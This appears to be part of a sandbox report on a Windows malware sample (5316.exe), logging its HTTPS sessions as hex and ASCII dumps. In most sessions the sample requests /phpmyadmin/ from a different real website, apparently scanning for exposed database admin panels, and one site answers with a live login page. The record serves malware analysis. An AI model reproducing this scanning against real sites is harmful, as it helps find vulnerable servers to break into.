2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 72 65 71 75 69 72 65 64 53 68 69 70 70 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 64 69 73 63 6f 76 Data Ascii: \/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContactFields":["postalAddress","email"],"requiredShippingContactFields":["postalAddress","email"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discov
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 2e 72 6f 6f 74 20 3d 20 22 2f 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 Data Ascii: dle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.routes \|\| {};Shopify.routes.root = "/";</script><script type="module">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){v
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 73 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d Data Ascii: ,"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.esm.js","modules/chunk.common_aa18f3d8.esm.js","modules/chunk.shop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.comm
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3d 63 48 56 69 62 47 6c 6a 4c 43 42 74 59 58 67 74 59 57 64 6c 50 54 6b 77 4d 41 22 5d 3b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 72 6c 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 79 6e 63 Data Ascii: nager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA"]; for (var i = 0; i < urls.length; i++) { var s = document.createElement('script'); s.type = 'text/javascript'; s.async
2023-12-20 02:13:20 UTC	1369	IN	Data Raw: 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d 2e 6a 6f 69 6e 28 22 2c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 65 3d 65 2e 74 61 72 67 65 74 3b 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 28 65 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 46 4f 52 4d 22 21 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 20 65 28 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2c 6e 29 3b 66 6f 72 Data Ascii: _customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]'].join(",");function n(e){e=e.target;null==e\|\|null!=(e=function e(t,n){if(null==t.parentElement)return null;if("FORM"!=t.parentElement.tagName)return e(t.parentElement,n);for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	52051	104.21.20.204	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: majormega.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	580	IN	HTTP/1.1 403 Forbidden Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UDS0Sds8fhYFCxZhQL6TtrSe6B1XoKYaeZC1IWPRDTYlLopBj5GR9wc6Jxj9oOpAZ0oj8rrTD%2BJXQGyILaSXkI4yNDY%2BTRgdtssAFyKv0zW3ygzCOXdM80x%2F9BCctI9Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845d94a8e05c70-MIA alt-svc: h3=":443"; ma=86400
2023-12-20 02:13:20 UTC	100	IN	Data Raw: 35 65 0d 0a 46 6f 72 20 73 65 63 75 72 69 74 79 20 72 65 61 73 6f 6e 73 2c 20 74 68 69 73 20 55 52 4c 20 69 73 20 6f 6e 6c 79 20 61 63 63 65 73 73 69 62 6c 65 20 75 73 69 6e 67 20 6c 6f 63 61 6c 68 6f 73 74 20 28 31 32 37 2e 30 2e 30 2e 31 29 20 61 73 20 74 68 65 20 68 6f 73 74 6e 61 6d 65 2e 0d 0a Data Ascii: 5eFor security reasons, this URL is only accessible using localhost (127.0.0.1) as the hostname.
2023-12-20 02:13:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	51257	3.64.163.50	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: smithstar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	149	IN	HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close
2023-12-20 02:13:21 UTC	139	IN	Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 61 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 30 3b 20 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 6d 69 74 68 73 74 61 72 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4a <meta http-equiv='refresh' content='0; url=https://smithstar.com/' />a </head>8</html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	52199	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	177	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:20 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Mw71zf30X0UPlzi8Z2vs6ZxbZVEzhSR+k+4RHdYJdpehypFrVFUrSkUb3DCUK9FMn4jcGviiLdd5vO3hT92Sxg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:20 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	52279	185.230.63.171	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: u90soccercenter.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	838	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:20 GMT Content-Length: 0 Connection: close location: https://www.u90soccercenter.com/phpmyadmin strict-transport-security: max-age=3600 x-wix-request-id: 1703038400.9601650371484124691 Age: 0 Server-Timing: cache;desc=miss, varnish;desc=miss, dc;desc=42 X-Seen-By: pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkqHFWhjPEXyPTSLtPMFnp4a0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalpZ3H1SM8LlvouA/vOMFXIJtojEijXXFiJj75M684v5pl/vES4JMOM3CGmKb33RLVA==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,NLdhiUa+sSIsGDI1KKnLVioG5v0XsZRzDHjumEtRhsY=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg== Cache-Control: no-cache X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	52252	172.67.181.211	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:20 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: entexclusives.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:21 UTC	1353	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Set-Cookie: goto_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: back_https=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/phpmyadmin/; secure Set-Cookie: pma_lang_https=en; expires=Fri, 19-Jan-2024 02:13:21 GMT; Max-Age=2592000; path=/phpmyadmin/; secure; HttpOnly Set-Cookie: phpMyAdmin_https=i2t73nslli16b0kto0bhlqjrd5; path=/phpmyadmin/; secure; HttpOnly X-ob_mode: 1 X-Frame-Options: DENY Referrer-Policy: no-referrer Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data: .tile.openstreetmap.org;object-src 'none'; X-WebKit-CSP: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data: *.tile.openstreetmap.org;object-src 'none'; X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow
2023-12-20 02:13:21 UTC	613	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 32 30 20 44 65 63 20 32 30 32 33 20 30 32 3a 31 33 3a 32 31 20 2b 30 30 30 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 20 70 72 65 2d 63 68 65 63 6b 3d 30 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 Data Ascii: Expires: Wed, 20 Dec 2023 02:13:21 +0000Cache-Control: no-store, no-cache, must-revalidate, pre-check=0, post-check=0, max-age=0Pragma: no-cacheVary: Accept-EncodingCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudf
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 33 63 64 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 3cdf<!doctype html><html lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="referrer" content="no-referrer"> <meta name="robots" content="noindex
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2d 6d 69 67 72 61 74 65 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 77 68 69 74 65 6c 69 73 74 2e 70 68 70 3f 76 3d 35 2e 30 2e 34 64 65 62 32 26 61 6d 70 3b 6c 61 6e 67 3d 65 6e 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 73 70 72 69 6e 74 66 2e 6a 73 3f 76 3d 35 2e 30 2e 34 Data Ascii: s/vendor/jquery/jquery-migrate.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/whitelist.php?v=5.0.4deb2&lang=en"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/sprintf.js?v=5.0.4
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 62 61 2d 68 61 73 68 63 68 61 6e 67 65 2d 31 2e 33 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 76 65 6e 64 6f 72 2f 6a 71 75 65 72 79 2f 6a 71 75 65 72 79 2e 64 65 62 6f 75 6e 63 65 2d 31 2e 30 2e 35 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 6d 65 6e 75 5f 72 65 73 69 7a Data Ascii: /jquery/jquery.ba-hashchange-1.3.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/vendor/jquery/jquery.debounce-1.0.5.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/menu_resiz
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 70 61 67 65 5f 73 65 74 74 69 6e 67 73 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 73 2f 64 72 61 67 5f 64 72 6f 70 5f 69 6d 70 6f 72 74 2e 6a 73 3f 76 3d 35 2e 30 2e 34 64 65 62 32 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 Data Ascii: ?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/page_settings.js?v=5.0.4deb2"></script> <script data-cfasync="false" type="text/javascript" src="js/drag_drop_import.js?v=5.0.4deb2"></script> <script data-cfasync="
2023-12-20 02:13:21 UTC	1369	IN	Data Raw: 61 72 61 6d 73 2e 73 65 74 41 6c 6c 28 7b 63 6f 6d 6d 6f 6e 5f 71 75 65 72 79 3a 22 3f 6c 61 6e 67 3d 65 6e 22 2c 6f 70 65 6e 64 62 5f 75 72 6c 3a 22 64 62 5f 73 74 72 75 63 74 75 72 65 2e 70 68 70 22 2c 6c 61 6e 67 3a 22 65 6e 22 2c 73 65 72 76 65 72 3a 22 31 22 2c 74 61 62 6c 65 3a 22 22 2c 64 62 3a 22 22 2c 74 6f 6b 65 6e 3a 22 32 32 36 65 37 30 34 66 37 62 34 66 34 36 32 32 37 32 34 39 35 31 35 32 32 36 34 64 33 38 35 34 22 2c 74 65 78 74 5f 64 69 72 3a 22 6c 74 72 22 2c 73 68 6f 77 5f 64 61 74 61 62 61 73 65 73 5f 6e 61 76 69 67 61 74 69 6f 6e 5f 61 73 5f 74 72 65 65 3a 74 72 75 65 2c 70 6d 61 5f 74 65 78 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a 22 42 72 6f 77 73 65 22 2c 70 6d 61 5f 74 65 78 74 5f 6c 65 66 74 5f 64 65 66 61 75 6c 74 5f 74 61 62 3a Data Ascii: arams.setAll({common_query:"?lang=en",opendb_url:"db_structure.php",lang:"en",server:"1",table:"",db:"",token:"226e704f7b4f462272495152264d3854",text_dir:"ltr",show_databases_navigation_as_tree:true,pma_text_default_tab:"Browse",pma_text_left_default_tab:
